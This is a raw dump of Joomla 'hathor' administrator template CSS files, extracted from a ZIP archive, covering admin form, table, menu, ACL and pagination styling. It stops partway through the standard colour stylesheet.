label.radiobtn-hide, fieldset.panelform-legacy label.radiobtn-off, fieldset.panelform-legacy label.radiobtn-on { min-width: 40px !important; clear:none !important; } #jform_plugdesc-lbl, #jform_description-lbl { font-weight:bold; clear:both; margin-top: 15px; } p.jform_desc { clear:left; } div#jform_ordering { font-size: 1.091em; margin-top: 3px; } fieldset ul.checklist { margin-left: 27px; } fieldset ul.checklist input, fieldset ul.checklist label { float: none; } fieldset ul.checklist input:focus { outline: thin dotted #333333; } fieldset#filter-bar { margin: 0; padding: 5px 10px 5px 10px; } fieldset#filter-bar ol, fieldset#filter-bar ul { list-style: none; margin: 0; padding: 5px 0 0; } fieldset#filter-bar ol li, fieldset#filter-bar ul li { float: left; padding: 0 5px 0 0; } fieldset#filter-bar ol li fieldset, fieldset#filter-bar ul li fieldset { margin: 0; padding: 0; } fieldset#filter-bar .filter-search { float: left; padding-bottom: 3px; } fieldset#filter-bar .filter-select { float: right; } fieldset#filter-bar input#search { width: 10em; } /* Note: these visual cues should be augmented by aria */ .invalid { font-weight: bold; } /* augmented by aria in template javascript */ input.readonly, span.faux-input { border: 0; } .star { color:#cc0000; font-size:1.2em; } input,select, span.faux-input { font-size: 1.2em; -moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; } span.readonly { float: left; font-size: 1.2em; line-height: 2em; } div.readonly { font-size: 1.2em; line-height: 2em; } div.extdescript { margin-left: 10px; } input[type="button"], input[type="submit"], input[type="reset"] { font-family: Arial, Helvetica, sans-serif; padding: 1px 6px; font-size: 1.2em; line-height: 1.5em; } textarea { font-size: 1.4em; -moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; } input.button { cursor: pointer; } label { font-weight: bold; font-size: 1.1em; } span.faux-label { font-weight: bold; font-size: 1.1em; } label.selectlabel { position: absolute; left: -1000em; } /** * Option or Parameter styles */ .paramrules { padding: 10px; } span.gi { font-weight: bold; margin-right: 5px; } span.gtr { visibility:hidden; margin-right: 5px; } /** * Admintable Styles */ table.admintable td { padding: 3px; font-size: 1em; } table.admintable td.key,table.admintable td.paramlist_key { text-align: right; width: 140px; font-weight: bold; font-size: 1em; } table.admintable td.key label, table.admintable td.paramlist_key label { font-size: 1em; } table.admintable td.paramlist_value label { font-size: 1em; } table.admintable input, table.admintable span.faux-input, table.admintable select { font-size: 1em; } table.paramlist td.paramlist_description { text-align: left; width: 170px; font-weight: normal; } table.admintable td.key.vtop { vertical-align: top; } /** * Admin Form Styles */ fieldset.adminform { margin: 0 10px 10px 10px; overflow: hidden; } ul.adminformlist, ul.adminformlist li, dl.adminformlist, dl.adminformlist li { margin: 0; padding: 0; list-style: none; } ul.adminformlist pre { font-size:1.3em; } ul.adminformlist .button2-left, ul.adminformlist .button2-left { margin-top: 5px; } /* Table styles are for use with tabular data */ table.adminform { width: 100%; border-collapse: collapse; margin: 8px 0 10px 0; margin-bottom: 15px; } table.adminform.nospace { margin-bottom: 0; } table.adminform th { font-size: 1.4em; padding: 6px 2px 4px 4px; text-align: left; height: 25px; } table.adminform td { padding: 3px; text-align: left; } table.adminform td#filter-bar { text-align: left; } table.adminform td.helpMenu { text-align: right; } table.adminform tr { padding-left: 10px; padding-right: 10px; } /** * Table formating styles */ td.center,th.center { text-align: center; } /* Avoid using the width classes. They are here for 3PD Extensions if needed * Use the specific layout table headers listed after. See also the div.width entries */ th.width-1 { width: 1%; } th.width-3 { width: 3%; } th.width-5 { width: 5%; } th.width-10 { width: 10%; } th.width-12 { width: 12%; } th.width-15 { width: 15%; } th.width-20 { width: 20%; } th.width-25 { width: 25%; } th.width-30 { width: 30%; } th.width-40 { width: 40%; } /* Table header layout classes */ th.row-number-col { width: 3%; } th.checkmark-col { width: 1%; } th.state-col { width: 5%; } th.ordering-col { width: 10%; } th.ordering-col a { display: block; float:left; margin-left: 3px; } th.ordering-col a img { margin-left: 4px; margin-right: 4px; } .categories th.ordering-col input, .categories td.order input { font-size: 1em; } th.category-col { width: 5%; } th.access-col { width: 10%; } .categories th.access-col { width: 5%; } th.hits-col { width: 5%; } th.id-col { width: 3%; } th.featured-col { width: 5%; } th.created-by-col { width: 10%; } th.date-col { width: 5%; } th.language-col { width: 5%; } th.home-col { width: 5%; } /** * Adminlist Table layout */ table.adminlist { width: 100%; } table.adminlist td, table.adminlist th { padding: 4px; font-size: 1.2em; } table.adminlist thead th { text-align: center; } table.adminlist thead a:hover { text-decoration: none; } table.adminlist thead th img { vertical-align: middle; } table.adminlist tbody th { font-weight: bold; } /* Table row styles */ table.adminlist tr { padding-left: 30px; padding-right: 30px; } table.adminlist tbody tr { text-align: left; } table.adminlist tbody tr td, table.adminlist tbody tr th { height: 25px; } table.adminlist tfoot tr { text-align: center; } /* Table td/th styles */ table.adminlist tfoot td,table.adminlist tfoot th { text-align: center; } table.adminlist td.order { text-align: center; white-space: nowrap; } table.adminlist td.order span { float: left; width: 20px; text-align: center; } table.adminlist td.order input { text-align: center; width: 3em; font-size: 100%; } /** * Tree indentation & nesting - Up to 10 levels deep so don't go crazy : */ table.adminlist td.indent-4 { padding-left:4px; } table.adminlist td.indent-19 { padding-left:19px; } table.adminlist td.indent-34 { padding-left:34px; } table.adminlist td.indent-49 { padding-left:49px; } table.adminlist td.indent-64 { padding-left:64px; } table.adminlist td.indent-79 { padding-left:79px; } table.adminlist td.indent-94 { padding-left:94px; } table.adminlist td.indent-109 { padding-left:109px; } table.adminlist td.indent-124 { padding-left:124px; } table.adminlist td.indent-139 { padding-left:139px; } /** * Adminlist buttons */ table.adminlist tr td.btns a { -moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; padding: 3px 20px; } table.adminlist tr td.btns a:hover, table.adminlist tr td.btns a:active, table.adminlist tr td.btns a:focus { text-decoration: none; } /** * Adminlist lists */ table.adminlist td li { list-style: inside; } /** * Modal Modules styles */ ul#new-modules-list { margin-left: 50px; font-size: 1.4em; line-height: 1.5em; } /** * Utility styles */ /* General Clearing Class */ .clr { clear: both; overflow: hidden; height: 0; } .clearfix:after { content: "."; display: block; height: 0; clear:both; visibility: hidden; } .menu-module-list { list-style-position: inside; padding-left: 10px; margin-left: 5px; } /* stu nicholls solution for centering divs */ .container { clear: both; text-decoration: none; } * html .container { display: inline-block; } /* table solution for global config */ table.noshow { width: 100%; border-collapse: collapse; padding: 0; margin: 0; } table.noshow tr { vertical-align: top; } table.noshow fieldset { margin: 15px 7px 7px 7px; } /** * Saving order icon styling in admin tables */ a.saveorder { width: 16px; height: 16px; display:block; overflow: hidden; float:right; margin-right: 8px; } /** * Button styling */ #editor-xtd-buttons { padding: 5px; } button { font-size: 1.2em; font-family: Arial, Helvetica, sans-serif; -moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; margin-right: 3px; margin-left: 3px; } .invalid { font-weight: bold; } /* Button 1 Type */ .button1,.button1 div { height: 1%; float: right; } .button1 { white-space: nowrap; -moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; } .button1 a { display: block; height: 2.2em; float: left; line-height: 2.2em; font-size: 1.2em; font-weight: bold; cursor: default; padding: 0 6px 0 6px; /* add padding if you are using the directional images */ /* padding: 0 30px 0 6px; */ } .button1 a:hover,.button1 a:focus { text-decoration: none; } /* Button 2 Type */ .button2-left,.button2-right { float: left; line-height: 1.5em; font-size: 1.2em; -moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; } .button2-left.smallsub,.button2-right.smallsub { line-height: 1.2em; font-size: .9em; } .button2-left a,.button2-right a,.button2-left span,.button2-right span { display: block; float: left; cursor: default; } /* these are inactive buttons */ .button2-left span,.button2-right span { cursor: default; } .button2-left .page a,.button2-right .page a, .button2-left .page span,.button2-right .page span, .button2-left .blank a,.button2-right .blank a, .button2-left .blank span,.button2-right .blank span { padding: 0 6px; } .page span,.blank span { font-weight: bold; } .button2-left a:hover, .button2-right a:hover, .button2-left a:focus, .button2-right a:focus { text-decoration: none; } .button2-left a,.button2-left span { padding: 0 24px 0 6px; } .button2-right a,.button2-right span { padding: 0 6px 0 24px; } .button2-left { float: left; margin-left: 5px; } .button2-right { float: left; margin-left: 5px; } /** * Pagination styles */ /* Normal pagination styles */ div.containerpg { position: relative; left: 50%; float: left; clear: left; } div.pagination { position: relative; left: -50%; margin: 0 auto; padding: .5em; } .pagination div.limit { float: left; margin: 0 10px; font-size: 1.2em; height: 1.8em; line-height: 1.8em; } .pagination div.limit label { font-size: 100%; height: 1.8em; line-height: 1.8em; } .pagination div.limit select { font-size: 100%; } /* The Go submittal button */ .pagination button { font-size: 100%; height: 1.8em; line-height: 1.8em; margin-right: 20px; } div.pagination .button2-right, div.pagination .button2-left { font-size: 1.2em; height: 1.6em; line-height: 1.6em; } /* Style if pagination is part of the table (old style) */ table.adminlist .pagination { display: table; padding: 0; margin: 0 auto; font-size: .8em; } table.adminlist .pagination button { font-size: 1.2em; height: 1.6em; line-height: 1.5em; margin-right: 20px; } /** * MCE Editor */ div.toggle-editor { margin: -15px; } /** * Tooltips */ .tip { float: left; padding: 5px; max-width: 400px; z-index: 50; } .tip-title { padding: 0; margin: 0; font-size: 100%; font-weight: bold; margin-top: -15px; padding-top: 15px; padding-bottom: 5px; } .tip-text { font-size: 100%; margin: 0; } /** * Calendar */ a img.calendar { width: 16px; height: 16px; margin-left: 3px; cursor: pointer; vertical-align: middle; } /** * JGrid styles */ a.jgrid:hover { text-decoration: none; } .jgrid span.state { display: inline-block; height: 16px; width: 16px; } .jgrid span.text { display: none; } /** * Icons * The Background Icons for Menus, Toolbars, Quick Icons * are now in the color css files */ /** * General styles */ div.message { text-align: center; font-family: Arial, Helvetica, sans-serif; font-size: 1.2em; padding: 3px; margin-bottom: 10px; font-weight: bold; } .helpIndex { border: 0; width: 100%; height: 100%; padding: 0; overflow: auto; } .helpFrame { width: 100%; height: 800px; padding: 0 5px 0 10px; } #treecellhelp { width: 25%; display: block; position: relative; float: left; margin: 0; padding: 2px; overflow: hidden; } #datacellhelp { width: 73%; display: block; float: left; margin: 0; padding: 2px 0 0 0; } .outline { padding: 2px; } /** * Modal Styles */ h2.modal-title { margin-left: 15px; margin-bottom:0; margin-top: 5px; font-size: 1.8em; padding-bottom: .5em; } ul.menu_types { padding: 0 0 0 15px; width: 95%; margin: 0; } ul.menu_types li, dl.menu_type dd ul li { width: 240px; list-style: none; display: block; float: left; margin-right: 10px; } ul.menu_types li { width: 47%; } dl.menu_type { width: 240px; margin: 0; padding: 0; } dl.menu_type dt { font-weight: bold; font-size: 1.5em; float:left; margin: 13px 0 5px 0; width: 240px; } dl.menu_type dd { clear:left; margin: 0; } dl.menu_type dd a { font-size: 1.2em; } dl.menu_type dd ul li { margin: 0; } ul#new-modules-list { padding: 5px 0 0 15px; width:95%; margin: 0; list-style: none; } ul#new-modules-list li { list-style: none; display: block; float:left; margin: 0 20px 0 0; width: 47%; } ul#new-modules-list li a { font-size: 1em; line-height: 1.5em; } body.contentpane #filter-bar { font-size: 80%; } body.contentpane input, body.contentpane select { font-size: 120%; } #filter-bar input, #filter-bar select, #filter-bar button { font-size: 110%; } /** * User Accessibility */ /* Skip to Content Structural Styling */ #skiplinkholder a,#skiplinkholder a:link,#skiplinkholder a:visited { display: block; width: 99%; position: absolute; top: 0; left: -200%; z-index: 2; } #skiplinkholder a:focus, #skiplinkholder a:active { left: 0; top: 0; z-index: 100; } #skiplinkholder p { margin: 0; } #skiptargetholder { position: absolute; left: -200%; } /* Skip to Content Visual Styling */ #skiplinkholder a, #skiplinkholder a:link, #skiplinkholder a:visited { text-decoration: underline; padding: 5px; font-size: 1.3em; font-weight: bold; padding-left: 20px; padding-right: 20px; } /* Hide overlayed controls so that keyboarders can get to the modal */ .body-overlayed a, .body-overlayed input, .body-overlayed button { visibility: hidden; } .body-overlayed #sbox-window a, .body-overlayed #sbox-window input, .body-overlayed #sbox-window button { visibility: visible; } /** * Admin Form Styles */ /* For elements that aren't to be seen by users unless the user does something * like clicking on a header to see the collapsed section. */ .element-hidden, .hide { display: none; } .hidebtn { border: 0 !important; padding: 0 !important; margin: 0; width: 0; height: 0; } /* For elements that aren't to be seen by visual users but do need to be read by screenreaders. * Cannot be used for elements that can get focus such as links and form elements */ .element-invisible, .hidelabeltxt { height: 0; overflow: hidden; position: absolute; padding:0; margin:0; } /* Firefox has issues styling legend so this is a universal fix for making the legend invisible (i.e. visually it's not there, but screen readers see it */ legend.element-invisible { position: absolute !important; margin: 0; padding: 0; border:0; margin-left: -10000px; font-size: 1px; height: 0; } fieldset.panelform { overflow:hidden; clear: both; } fieldset.adminform label, fieldset.panelform label, fieldset.adminform span.faux-label, fieldset.panelform span.faux-label { line-height: 2em; clear:left; min-width: 12em; float:left; margin-left: 10px; margin-right: 5px; } fieldset.adminform.long label, fieldset.panelform.long label, fieldset.adminform.long span.faux-label, fieldset.panelform.long span.faux-label { min-width: 18em; } fieldset.adminform fieldset.radio label, fieldset.panelform fieldset.radio label, fieldset.adminform fieldset.radio span.faux-label, fieldset.panelform fieldset.radio span.faux-label { margin-left: 0; } fieldset.adminform input, fieldset.adminform span.faux-input, fieldset.adminform textarea, fieldset.adminform select, fieldset.adminform img, fieldset.adminform button, fieldset.panelform input, fieldset.panelform span.faux-input, fieldset.panelform textarea, fieldset.panelform select, fieldset.panelform img, fieldset.panelform button { float:left; margin:5px 5px 5px 0; width:auto; } /* -------- Batch Section ---------- */ fieldset.batch { margin: 20px 10px 10px 10px; padding: 10px; } fieldset.batch label { margin: 5px; min-width: 40px; } fieldset.batch button { margin: 3px; } fieldset#batch-choose-action { clear: left; border: 0 none; } fieldset.batch label { float: left; clear: none; } fieldset label#batch-choose-action-lbl { clear: left; margin-top: 15px; } label#batch-language-lbl, label#batch-user-lbl { clear: left; margin-right: 10px; margin-top: 15px; } select#batch-language-id, select#batch-user-id { margin-top: 15px; } select#batch-category-id, select#batch-position-id, select#batch-menu-id { margin-right: 30px; } fieldset.batch select, fieldset.batch input, fieldset.batch img, fieldset.batch button { float: left; } label#batch-access-lbl, label#batch-client-lbl { margin-right: 10px; } div#jform_ordering { font-size: 1.091em; margin-top: 3px; } /* Banner edit */ #jform_impmade, #jform_clicks { width:30px; } fieldset.panelform label#jform-imp { min-width:3em; font-size: 1.091em; } fieldset.adminform input#jform_clickurl { width: 20em; } /** * ACL STYLES relocated from com_users/media/grid.css */ a.move_up { display: inline-block; height: 16px; text-indent: -1000em; width: 16px; } span.move_up { display: inline-block; height: 16px; width: 16px; } a.move_down { display: inline-block; height: 16px; text-indent: -1000em; width: 16px; } span.move_down { display: inline-block; height: 16px; width: 16px; } a.grid_false { display: inline-block; height: 16px; text-indent: -1000em; width: 16px; } a.grid_true { display: inline-block; height: 16px; text-indent: -1000em; width: 16px; } a.grid_trash { display: inline-block; height: 16px; text-indent: -1000em; width: 16px; } /** * ACL PANEL STYLES */ div.acl-options { width: 100%; } /* All Tabs */ table.aclsummary-table, table.aclmodify-table { border-collapse: collapse; width: 100%; font-size: 1.091em; } td.col1 { font-size: 1.091em; text-align:left; padding: 4px; } table.aclsummary-table caption, table.aclmodify-table caption{ display:none; } /* Summary Tab */ table.aclsummary-table th.col1 { width:25%; } table.aclsummary-table th.col2, table.aclsummary-table th.col3, table.aclsummary-table th.col4, table.aclsummary-table th.col5, table.aclsummary-table th.col6 { width:15%; vertical-align: bottom; text-align:center; } /* Icons (background images moved to color css files */ span.icon-16-unset, span.icon-16-allowed, span.icon-16-denied, span.icon-16-locked { padding-left: 18px; } label.icon-16-allow, label.icon-16-deny, a.icon-16-allow, a.icon-16-deny, a.icon-16-allowinactive, a.icon-16-denyinactive { display:block; height: 16px; width: 16px; margin: 0 auto; } label.icon-16-allow { text-indent:-9999em; position:relative; left: 40%; } label.icon-16-deny { text-indent:-9999em; position:relative; left: 40%; } /* Create, Edit, Edit State & Delete Tabs */ table.aclmodify-table th.col2, table.aclmodify-table th.col3, table.aclmodify-table th.col4 { width:20%; vertical-align: bottom; text-align:center; } table.aclmodify-table select { margin:1px; } table.aclsummary-table td label, table.aclmodify-table td label { min-width: 20px; } /* ACL footer/legend */ ul.acllegend { list-style: none; font-size: 1.091em; padding-bottom: 10px; } ul.acllegend li { display: block; float: left; padding-right: 20px; margin: 15px 0 15px 10px; } ul.acllegend li.acl-allowed { padding-left: 20px; padding-right: 10px; } ul.acllegend li.acl-denied { padding-left: 20px; padding-right: 20px; } ul.acllegend li.acl-editgroups { padding-right: 10px; } ul.acllegend li.acl-resetbtn { padding-right: 0; } li.acl-editgroups, li.acl-resetbtn { display:block; float:left; -moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; } li.acl-editgroups a, li.acl-resetbtn a { padding: 6px; cursor: default; } li.acl-editgroups a:hover, li.acl-resetbtn a:hover, li.acl-editgroups a:focus, li.acl-resetbtn a:focus { text-decoration:none; cursor: default; } li.acl-editgroups:hover, li.acl-resetbtn:hover, li.acl-editgroups:focus, li.acl-resetbtn:focus { text-decoration:none; cursor: default; } table#acl-config { width: 100%; margin-top: 15px; } table#acl-config th, table#acl-config td { height: 2em; background: #f9fade; text-align: center; vertical-align: middle; } table#acl-config th.acl-groups { padding-left: 8px; font-weight: bold; text-align: left; } table#acl-config th.acl-groups span.gi { margin-right: 2px; } table#acl-config td { width: 9em; } table#acl-config td select { float:none; } .acl-action { font-size: 1.091em; margin: auto 0; } .acl-groups { font-size: 1.091em; font-weight: normal; } label#jform_rules-lbl { float: none; white-space: nowrap; display:none; visibility:hidden; } label#jform_filters-lbl { float: none; white-space: nowrap; display: none; visibility:hidden; } /** * Options modal- config */ ul.config-option-list, ul.config-option-list li { margin: 0; padding: 0; list-style: none; } ul.config-option-list fieldset { margin: 0; padding-left: 0; padding-right: 0; } /* * * Permission Rules */ #permissions-sliders ul#rules, #permissions-sliders ul#rules ul { margin: 0 !important; padding: 0 !important; list-style-type: none; } #permissions-sliders ul#rules li { margin: 0; padding: 0; } #permissions-sliders ul#rules table.group-rules { border-collapse: collapse; margin: 5px; width: 100%; } #permissions-sliders ul#rules table.group-rules td { padding: 4px; vertical-align: middle; text-align: left; overflow: hidden; } #permissions-sliders ul#rules table.group-rules th { font-size: 1.2em; overflow: hidden; font-weight: bold; } #permissions-sliders .panel { margin-bottom: 3px; margin-left: 0; border: 0; } #permissions-sliders p.rule-desc { font-size: 1.1em; } #permissions-sliders div.rule-notes { font-size: 1.1em; } ul#rules table.group-rules td label { margin:0 !important; line-height: 1.1em; } ul#rules table.group-rules td span { font-size: 1.1em; padding-bottom: 4px; } ul#rules table.group-rules td span span { font-size: 100%; } table.group-rules td select { margin: 0 !important; } #permissions-sliders ul#rules .mypanel { padding: 0; line-height: 1.3em; } #permissions-sliders .mypanel table.group-rules caption { font-size: 1.3em; } #permissions-sliders ul#rules { padding: 5px; } #permissions-sliders ul#rules table.group-rules th { text-align: left; padding: 4px; } #permissions-sliders ul#rules table.group-rules td label { min-width: 1em; } #permissions-sliders .pane-toggler span { padding-left: 20px; } #permissions-sliders .pane-toggler-down span { padding-left: 20px; } #permissions-sliders .pane-toggler-down span.level, #permissions-sliders .pane-toggler span.level { padding: 0; } /* * Debug styles */ .swatch { text-align: center; padding: 0 15px 0 15px; } /* Tab changes for accessibility */ dl.tabs dt h3 { padding: 0; font-size:100%; } /** * Helpmenus */ ul.helpmenu li { float: right; margin: 10px; padding: 0; list-style-type: none; font-weight: bold; } /* CSS file for Accessible Admin Menu * based on Matt Carrolls' son of suckerfish * with javascript by Bill Tomczak */ /* Note: set up the font-size on the id and used 100% on the elements. If ul/li/a are different ems, then the shifting back via non-js keyboard doesn't work properly */ /** * Menu Styling */ #menu { /* this is on the main ul */ position: relative; z-index: 100; padding: 0; margin: 0; width: 100%; list-style: none; font-size: 1.2em; font-weight: bold; } #menu ul { /* all lists */ padding: 0; margin: 0; list-style: none; font-size: 100%; } #menu ul li.separator { margin-bottom: 1em; } #menu a { padding: 0.35em 2.5em 0.35em 2em; vertical-align: middle; display: block; /* width: 10em; */ text-decoration: none; font-size: 100%; } #menu li { /* all list items */ float: left; /* width: 12em; width needed or else Opera goes nuts */ font-size: 100%; } #menu li a { white-space: nowrap; } #menu li li a { margin-bottom: 1px; margin-top: 1px; width: 10em; } #menu li.disabled a:hover, #menu li.disabled a:focus, #menu li.disabled a { cursor: default; } #menu li ul { /* second-level lists */ position: absolute; width: 16em; margin-left: -1000em; /* using left instead of display to hide menus because display: none isn't read by screen readers */ } #menu li li { /* second-level row */ border: none; width: 16em; } #menu li ul ul { /* third-and-above-level lists */ margin: -2.3em 0 0 -1000em; /* top margin is equal to parent line height+bottom padding */ } #menu li:hover ul ul,#menu li.sfhover ul ul { margin-left: -1000em; } #menu li:hover ul,#menu li.sfhover ul { /* lists nested under hovered list items */ margin-left: 0; } #menu li li:hover ul,#menu li li.sfhover ul { margin-left: 16em; } /** * Extra positioning rules for limited noscript keyboard accessibility * need the backgrounds here to keep the background as the nav background * since it is overlaying other content. * Using margin-left instead of left so that can move back without javascript * display downlevel ul */ #menu li a:focus+ul { margin-left: 0; } #menu li li a:focus+ul { margin-left: 1016em; } /* bring back the focus elements into view */ #menu li li a:focus { margin-left: 1000em; width: 10em; } #menu li li li a:focus { margin-left: 2016em; width: 10em; } #menu li:hover a:focus,#menu li.sfhover a.sffocus { margin-left: 0; } #menu li li:hover a:focus+ul,#menu li li.sfhover a.sffocus+ul { margin-left: 16em; } /** * Submenu styling */ #submenu { list-style: none; padding: 0; margin: 0; /* border-bottom plus padding-bottom is the technique */ padding-bottom: 2.5em; line-height: 2em; } #submenu ul,#submenu li { display: inline; list-style-type: none; margin: 0; padding: 0; } #submenu a, #submenu span.nolink { float: left; font-weight: bold; margin-right: 8px; padding: 2px 10px 2px 10px; text-decoration: none; cursor: pointer; -moz-border-radius-topright: 3px; -moz-border-radius-topleft: 3px; -webkit-border-top-right-radius: 3px; -webkit-border-top-left-radius: 3px; border-top-right-radius: 3px; border-top-left-radius: 3px; } #submenu span.nolink { color: #999; } #submenu a.active, #submenu span.nolink.active { cursor: default; text-decoration: none; } /* -- CUSTOM LANG STRINGS STYLES ----------- */ .red { font-weight: bold; color: #c00; } /* -- OTHER STYLES ----------- */ .pre_message { font-size: 1.3em; } /* -- Update check badges -- */ span.update-badge { background-image: -moz-linear-gradient(center bottom , #FF0000 41%, #FC7E7E 79%); background-image: -webkit-gradient(linear,left bottom,left top,color-stop(0.41, rgb(255,0,0)),color-stop(0.79, rgb(252,126,126))); border: 2px solid white; border-radius: 1.5em 1.5em 1.5em 1.5em; color: white; display: block; float: left; font-size: 1.2em; font-weight: bold; height: 1.2em; left: 60px; min-width: 1em; padding: 0 0.1em 0; position: relative; top: -88px; } /* User Notes */ .unotes ul, .unotes ol { list-style: none; list-style-position: inside; padding-left: 0; padding-right: 0; } .unotes div.utitle { padding: 10px; float: left; font-size: 1.2em; line-height: 1.2em; } .unotes h4 { margin-top: 0; margin-bottom:0; font-size: 1.3em; } .unotes .ubody { padding-left: 10px; padding-right: 10px; font-size: 1.2em; line-height: 1.5em; } .unotes p { padding-bottom: 10px; } /* com-install styling */ div#database-sliders { margin: 10px; } fieldset.uploadform { margin-top: 10px; margin-bottom: 10px; } /* Installer Database */ #installer-database, #installer-discover, #installer-update, #installer-warnings { margin-top: 10px; } #installer-database p.warning { padding-left: 20px; } #installer-database p.nowarning { padding-left: 20px; } /* Spinner */ .joomlaupdate_spinner { float: left; margin-right: 15px; } PK@y>\;Y)templates/hathor/css/colour_brown_rtl.cssnuW+A@charset "UTF-8"; /** * @package Joomla.Administrator * @subpackage templates.hathor * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt * @since 1.6 * * RTL CSS file for the color standard */ /** * Overall Styles */ #header { background: #ffffff url(../images/j_logo.png) no-repeat top right; } /** * Status layout */ #module-status .preview { background: url(../images/menu/icon-16-media.png) right 3px no-repeat; } #module-status .viewsite { background: url(../images/menu/icon-16-viewsite.png) right 3px no-repeat; } #module-status .unread-messages,#module-status .no-unread-messages { background: url(../images/menu/icon-16-messages.png) right 3px no-repeat; } #module-status .loggedin-users { background: url(../images/menu/icon-16-user.png) right 3px no-repeat; } #module-status .backloggedin-users { background: url(../images/menu/icon-16-back-user.png) right 3px no-repeat; } #module-status .multilanguage { background: url(../images/menu/icon-16-language.png) right 3px no-repeat; } #module-status .logout { background: url(../images/menu/icon-16-logout.png) right 3px no-repeat; } /** * Various Styles */ div.checkin-tick { background: url(../images/admin/tick.png) 20px 50% no-repeat; } /** * Pane Slider pane Toggler styles */ .pane-toggler span { background: transparent url(../images/j_arrow_left.png) right 50% no-repeat; } .pane-toggler-down span { background: transparent url(../images/j_arrow_down.png) right 50% no-repeat; } /** * Cpanel Settings */ fieldset#filter-bar { border-left: none; border-right: none; } /** * Admintable Styles */ table.admintable td.key,table.admintable td.paramlist_key { border-left: 1px solid #e9e9e9; border-right: none; } table.paramlist td.paramlist_description { border-left: 1px solid #e9e9e9; border-right: none; } /** * Admin Form Styles */ table.adminform tr { border-left: 1px solid #000000; border-right: none; } /** * Adminlist Table layout */ table.adminlist.modal { border-right: 1px solid #000000; border-left: 1px solid #000000; } /* Table row styles */ table.adminlist tbody tr td:last-child { border-left: none; } /** * Saving order icon styling in admin tables */ a.saveorder { background: url(../images/admin/filesave.png) no-repeat; } a.saveorder.inactive { background-position: 0 -16px; } /** * Button styling */ /* Button 1 Type */ /* Use this if you add images to the buttons such as directional arrows */ .button1 a { /* add padding if you are using the directional images */ /* padding: 0 6px 0 30px; */ } /* Button 2 Type */ .button2-right .prev { background-image: url(../images/j_button2_prev.png); background-position: right center; } .button2-right.off .prev { background: url(../images/j_button2_prev_off.png) no-repeat; } .button2-right .start { background-image: url(../images/j_button2_first.png); background-position: right center; } .button2-left .next { background-image: url(../images/j_button2_next.png); background-position: left center; } .button2-left.off .next { /* @TODO check the x position */ background: url(../images/j_button2_next_off.png) 100% 0 no-repeat; } .button2-left .end { background-image: url(../images/j_arrow_left.png); background-position: left center; } .button2-left.off .end { /* @TODO check the x position */ background: url(../images/j_button2_last_off.png) 100% 0 no-repeat; } .button2-left .image { background: url(../images/j_button2_image.png) 100% 0 no-repeat; } .button2-left .readmore { background: url(../images/j_button2_readmore.png) 100% 0 no-repeat; } .button2-left .pagebreak { background: url(../images/j_button2_pagebreak.png) 100% 0 no-repeat; } /** * Tooltips */ .tip-title { /* @TODO is there a different image */ background: url(../images/selector-arrow-rtl.png) no-repeat right top; } /** * System Standard Messages */ #system-message dd.message ul { background: #C3D2E5 url(../images/notice-info.png) 99.5% center no-repeat; } /** * System Error Messages */ #system-message dd.error ul { background: #E6C0C0 url(../images/notice-alert.png) 99.5% top no-repeat; } /** * System Notice Messages */ #system-message dd.notice ul { background: #EFE7B8 url(../images/notice-note.png) 99%.5 top no-repeat; } /** * JGrid styles */ /** * Menu Icons * These icons are used on the Administrator menu * The classes are constructed dynamically when the menu is generated */ /** * Toolbar icons * These icons are used for the toolbar buttons * The classes are constructed dynamically when the toolbar is created */ /** * Quick Icons * Also knows as Header Icons * These are used for the Quick Icons on the Control Panel * The same classes are also assigned the Component Title */ /** * General styles */ .helpFrame { border-right: 0 solid #222; border-left: none; border-top: none; } /* -- ACL STYLES relocated from com_users/media/grid.css ----------- */ /* -- ACL PANEL STYLES ----------- */ /* All Tabs */ table.aclsummary-table td.col2, table.aclsummary-table th.col2, table.aclsummary-table td.col3, table.aclsummary-table th.col3, table.aclsummary-table td.col4, table.aclsummary-table th.col4, table.aclsummary-table td.col5, table.aclsummary-table th.col5, table.aclsummary-table td.col6, table.aclsummary-table th.col6 table.aclmodify-table td.col2, table.aclmodify-table th.col2 { border-right: 1px solid #cbcbcb; border-left: none; } /* Icons */ ul.acllegend li.acl-allowed { background: url(../images/admin/icon-16-allow.png) no-repeat right; } ul.acllegend li.acl-denied { background: url(../images/admin/icon-16-deny.png) no-repeat right; } table#acl-config th.acl-groups { border-left: 1px solid #000000; } table#acl-config th.acl-groups { text-align: right; } .acl-action { margin: auto 0; } /* Icons */ span.icon-16-unset { background: url(../images/admin/icon-16-denyinactive.png) no-repeat right; } span.icon-16-allowed { background: url(../images/admin/icon-16-allow.png) no-repeat right; } span.icon-16-denied { background: url(../images/admin/icon-16-deny.png) no-repeat right; } span.icon-16-locked { background: url(../images/admin/checked_out.png) no-repeat right; } /** * Mod_rewrite Warning */ #jform_sef_rewrite-lbl { background: url(../images/admin/icon-16-notice-note.png) left top no-repeat; } /** * Permission Rules */ #permissions-sliders ul#rules table.group-rules td { border-left: solid 1px #000000; border-right: solid 0 #000000; } #permissions-sliders ul#rules table.group-rules th { border-left: solid 1px #000000; border-right: solid 0 #000000; } /** * Menu Styling */ #menu ul li.node { background-image: url(../images/j_arrow_left.png); background-repeat: no-repeat; background-position: left 50%; } #menu a { background-position: right 50%; } /* Installer Database */ #installer-database p.warning { background-position: center right; } #installer-database p.nowarning { background-position: center right; } PK@y>\찓(templates/hathor/css/colour_standard.cssnuW+A@charset "UTF-8"; /** * @package Joomla.Administrator * @subpackage templates.hathor * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt * @since 1.6 * * Color CSS file for the template - standard */ /** * Main colors: * #2c2c2c Text * #054993 Links * #ffffff Background, border, text * #f9fade Background alternate, button/icon/menu background * #e5f0fa Background (input required) * #e3e4ca Background Hover, Right/Bottom icon borders * #c7c8b2 Main borders * #868778 Top/Left icon hover borders * #f6f7db Right/Bottom icon hover borders * * Special Use Colors: * #a20000 Text Error, border invalid * #cccccc Text (faded) * #005800 Text (success) * #eeeeee Background (input disabled) * #ffffcf Background‚ permissions debug * #cfffda Background‚ permissions debug * #ffcfcf 